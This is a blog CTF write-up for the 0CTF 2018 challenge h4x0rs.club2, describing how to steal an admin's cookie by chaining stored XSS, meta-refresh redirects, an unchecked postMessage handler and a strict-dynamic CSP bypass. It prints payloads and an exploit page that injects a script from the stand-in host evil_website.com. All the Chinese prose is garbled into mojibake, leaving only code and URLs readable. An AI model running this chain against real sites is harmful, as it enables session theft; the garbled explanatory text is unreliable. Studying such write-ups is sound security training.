LoRexxar's Blog

TCTF/0CTF2018 h4xors.club2 Writeup

2018/04/10

鏈潵鏃╁氨璇ュ畬鎴愮殑club2 wp鍥犱负娓呮槑鑺傜殑鍏崇郴鎷栦簡涓娈垫椂闂达紝club2杩欎釜棰樼洰鐢ㄤ簡涓寰堢簿宸х殑postMessage婕忔礊銆

h4xors.club2

涓涓潪甯告湁鎰忔濈殑棰樼洰锛屽仛杩欓鐨勬椂鍊欐湁涓鐐瑰効閽荤墰瑙掑皷浜嗭紝鍚庨潰鎯虫潵鏈夋尯澶氭湁鎰忔濈殑鐐广傚厛鍒嗕韩涓涓潪甯哥鐨勯潪棰勬湡瑙p銆

http://www.wupco.cn/?p=4408&from=timeline

鍦ㄥ垎浜竴涓啓鐨勬瘮杈冭缁嗙殑姝hВ

https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed

涓嬮潰椤虹潃鎬濊矾涓璧锋潵鐪嬬湅杩欓銆

1
2
3
4
5
Get document .cookie of the administartor.
h4x0rs.club
backend_www got backup at /var/www/html.tar.gz 杩欎釜浠庡ご鍒板熬閮芥病鎵惧埌
Hint: Get open-redirect first, lead admin to the w0rld!

绔欏唴宸笉澶氭槸涓涓瓟棰樼珯鐐癸紝鐢ㄤ簡姣旇緝澶氱殑绗笁鏂瑰簱锛岀珯鍐呯殑鍔熻兘姣旇緝鏈夐檺銆

1銆乸rofile.php鍙互淇敼鑷繁涓汉淇℃伅
2銆乽ser.php/{id}鍙互璁块棶鑷繁鐨勪釜浜轰俊鎭
3銆乺eport.php娌′粈涔堝彲璇寸殑锛屽悜鍚庡彴鍙戦佽姹傦紝闇瑕佹敞鎰忕殑鏄紝鐩存帴鍙戦乽ser.php锛屼笉鑳芥帶鍒
4銆乮ndex.php鎺ュ彈msg鍙傛暟

杩樻湁涓浜涚壒鍒殑鐐

1銆乽ser.php椤甸潰鐨凜SP涓

1
Content-Security-Policy:default-src 'none'; img-src * data: ; script-src 'nonce-c8ebe81fcdccc3ac7833372f4a91fb90'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/;

闈炲父涓ユ牸锛屽彧鍏佽nonce CSP鐨剆cript瑙f瀽

index.php椤甸潰鐨凜SP涓

1
Content-Security-Policy:script-src 'nonce-120bad5af0beb6b93aab418bead3d9ab' 'strict-dynamic';

鍏佽sd CSP鍔ㄦ佹墽琛宻cript锛堣繖閲岀殑鍑哄彂鐐瑰彲鑳芥槸index.php鏄姞杞芥父鎴忕殑鍦版柟锛屼负浜嗛傚簲CSP锛屽繀椤诲姞鍏strict-dynamic銆傦級

2銆佺珯鍐呮湁涓や釜xss鐐

绗竴涓槸user.php鐨刾rofile锛屽偍瀛樺瀷xss锛屾病鏈変换浣曡繃婊ゃ

绗簩涓槸index.php鐨刴sg鍙傛暟锛屽弽灏勬ss锛屾病鏈変换浣曡繃婊わ紝浣嗘槸鍙楅檺浜巟ss auditor

椤虹潃鎬濊矾鍚戜笅

鍥犱负user.php椤甸潰鐨凜SP闈炲父涓ユ牸锛屾垜浠渶瑕佽烦鍑鸿繖涓弗鏍肩殑鍦版柟锛屼簬鏄彲浠ラ氳繃鎻掑叆meta鏍囩锛岃烦杞埌index.php锛屽湪杩欓噷杩涗竴姝ユ搷浣

1
<meta http-equiv="refresh" content="5;https://h4x0rs.club/game/?msg=Welcome">

褰撶劧杩欓噷鎴戜滑涔熷彲浠ュ埄鐢ㄥ偍瀛樺瀷xss鍜岄〉闈㈠唴鐨勪竴娈礿s鏉ユ瀯閫燼鏍囩璺宠浆銆

鍦╱ser.php鐨勬煡鐪媝rofile椤甸潰锛屾垜浠彲浠ョ湅鍒

1
2
3
if(location.hash.slice(1) == 'report'){
document.getElementById('report-btn').click();
}

褰撴垜浠彃鍏

1
<a href='//xxx.xx/evil.html' id=report-btn>

骞惰姹

1
/game/user.php/ddog%23report

閭d箞杩欓噷鐨刟鏍囩灏变細琚偣鍑伙紝鍚屾牱鍙互瀹炵幇璺宠浆銆

鎺ョ潃鎴戜滑鎺㈢┒index.php锛岃繖閲屾垜浠殑鐩爣灏辨槸鎬庝箞鑳藉缁曡繃sd CSP浜嗭紝褰撴椂鐨勭涓涓兂娉曟槸<base>锛岄氳繃淇敼褰撳墠椤甸潰鐨勬牴鍩燂紝鎴戜滑鍙互鍔犺浇鍏朵粬鍩熺殑js锛堝惉璧锋潵寰堟锛

鍙儨濡傛灉鎴戜滑璇锋眰

1
https://h4x0rs.club/game/?msg=<base href="http://xxxx">

浼氳xss auditor鎷︽埅锛屾渶鍚庨潰娌″姙娉曞姞/">锛屼竴涓潪甯告湁瓒g殑鎯呭喌鍑虹幇浜

1
https://h4x0rs.club/game/?msg=%3Cbase%20href=%22http://115.28.78.16

image.png-7.8kB

鏈鍚庣殑</h1>涓殑/琚浆鎹㈡垚浜嗚矾寰勶紝鍓嶉潰鐨勫乏灏栨嫭鍙疯鎷煎叆浜嗗煙鍚嶄腑锛屽悗闈㈢殑鍙冲皷鎷彿闂悎鏍囩鈥︿竴娉㈢濂囩殑鎿嶄綔鈥

涓嶈繃杩欓噷鍥犱负娌℃硶澶勭悊灏栨嫭鍙峰煙鍚嶇殑浜嬫儏锛屾墍浠ョ疆浜庡悗璇濅笉璋堛

鎴戜滑缁х画璁ㄨ缁曡繃sd CSP鐨勬濊矾锛岃繖绉岰SP宸茬煡鍙湁涓绉嶅姙娉曪紝灏辨槸閫氳繃鐜板湪宸叉湁鐨刯s浠g爜鏋勯爔ss锛岃繖鏄竴绉嶅湪鍘诲勾blackhat澶т細涓奼oogle鍥㈤槦鍏竷鐨凜SP Bypass鎶宸э紝鍙仛Script Gadgets銆

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

杩欓噷鐨勬紡娲炵偣鍜宲pt涓殑鎬濊矾涓嶅畬鍏ㄤ竴鑷达紝浣嗘牳蹇冩濊矾涓鏍凤紝閮芥槸瑕佸埄鐢ㄥ凡鏈塲s浠g爜涓殑涓浜涚偣鏉ユ瀯閫犲埄鐢ㄣ

绔欏唴鍏充簬娓告垙鐨勪唬鐮佸湪app.js涓殑鏈涓嬮潰锛屽姞杞戒簡client.js

1
2
3
4
5
6
function load_clientjs(){
var s = document.createElement('script');
document.body.appendChild(s);
s.defer = true;
s.src = '/game/javascripts/client.js';
}

client.js涓殑浠g爜涓嶅锛屾湁涓浜涘煎緱娉ㄦ剰鐨勭偣锛屽氨鏄鎴风鏄氳繃postMessage鍜屾湇鍔$浜や簰鐨勩

image.png-94.1kB

鑰屼笖鎵鏈夌殑浜や簰閮芥病鏈夊鏉ユ簮鐨勬牎楠岋紝涔熷氨鏄彲浠ユ帴鍙椾换浣曞煙鐨勮姹傘

ps: 杩欐槸涓涓憜瀛愪笉寮鍙e湪2016骞翠箤浜戝嘲浼氫笂鎻愬埌鐨勬敾鍑绘墜娉曪紝閫氳繃postMessage鏉ヤ吉閫犺姹

杩欐牱鎴戜滑鍙互浣跨敤iframe鏍囩鏉ュ悜beckend椤甸潰鍙戦佽姹傦紝閫氳繃杩欑鏂瑰紡鏉ユ帶鍒惰繑鍥炵殑娑堟伅銆

杩欓噷鎴戠洍鐢ㄤ簡涓寮犲埆鐨剋p涓殑鍥撅紝鏉ユ洿濂界殑鎻忚堪杩欑鎵嬫硶

鍘熷浘鏉ヨ嚜https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.club

image.png-112.7kB

杩欓噷鎴戜滑鐨別xploit.html鍏呭綋浜嗕腑闂翠汉鐨勫喅璧涳紝浠f浛瀹㈡埛绔悜鏈嶅姟绔彂閫佽姹傦紝鏉ヨ幏鍙栨兂瑕佺殑杩斿洖

杩欓噷鎴戜滑鍙互鍏虫敞涓涓媍lient.js涓殑recvmsg

image.png-323.9kB

濡傛灉鎴戜滑鑳芥帶鍒禿ata.title锛岄氳繃杩欓噷鐨刣om xss锛屾垜浠彲浠ユ垚鍔熺殑缁曡繃index.php涓嬬殑sd CSP闄愬埗銆

鍊煎緱娉ㄦ剰鐨勬槸锛屽鏋滄垜浠瘯鍥鹃氳繃index.php椤甸潰鐨勫弽灏勬ss鏉ュ紩鍏frame鏍囩鐨勮瘽锛屽鏋渋frame鏍囩涓殑閾炬帴鏄鍩燂紝浼氳xss auditor鎷︽埅銆

鎵浠ヨ繖閲岄渶瑕佺敤user.php鐨勫偍瀛樺瀷xss璺冲嚭銆傝繖鏍峰埄鐢ㄩ摼姣旇緝瀹屾暣浜嗐

涓嬮潰鏄埄鐢ㄦ濊矾锛

1銆侀鍏堟垜浠渶瑕佹敞鍐屼袱涓处鍙凤紝杩欓噷浣跨敤ddog123鍜宒dog321涓や釜璐﹀彿銆

2銆佸湪ddog321璐﹀彿涓缃畃rofile鍏紑锛屽苟璁剧疆鍐呭涓

1
<meta http-equiv="refresh" content="0;https://evil_website.com">

3銆佸湪evil_website.com锛堣繖閲屾湁涓緢鍏抽敭鐨則ips锛岃繖閲屽彧鑳戒娇鐢╤ttps绔欙紝鍚﹀垯浼氱垎寮曞叆娣峰悎鏁版嵁锛岄樆姝㈣闂級鐨刬ndex.html鍚慴ackend鍙戦佽姹傦紝杩欓噷鐨刯s闇瑕佽缃畃ing鍜宐adges锛屽湪badges涓缃畉itle鏉ュ紩鍏s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<iframe name=game src='//backend.h4x0rs.club/backend_www/'></iframe>
<script>
window.addEventListener("message", receiveMessage, false);
var TOKEN,nonce;
function receiveMessage(event)
{
console.log("msg");
data = event.data;
if(data.cmd =='ping'){
TOKEN = data.TOKEN;
nonce = data.nonce;
game.postMessage(data,"*");
}
if(data.cmd =='badges'){
console.log('badges');
console.log(data);
TOKEN = data.TOKEN;
data.level = 1;
data.title = '\'"><script src="//evil_website.com/1.js" defer></scr'+'ipt>';
console.log(data.title);
// data.title = '\'"><meta http-equiv="set-cookie" content="HolidayGlaze=123;">';
game.postMessage(data,"*");
}
}

4銆佸湪ddog123璐︽埛涓缃畃rofile涓

1
<meta http-equiv="refresh" content="0;https://h4x0rs.club/game/?msg=1%3Ciframe%20name=game_server%20src=/game/user.php/ddog321%20%3E%3C/iframe%3E">

5銆佹渶鍚庡湪1.js涓姞鍏ュ埄鐢ㄤ唬鐮侊紝鍙戦乺eport缁欏悗鍙扮瓑寰呰繑鍥炲嵆鍙

CATALOG
  1. 1. h4xors.club2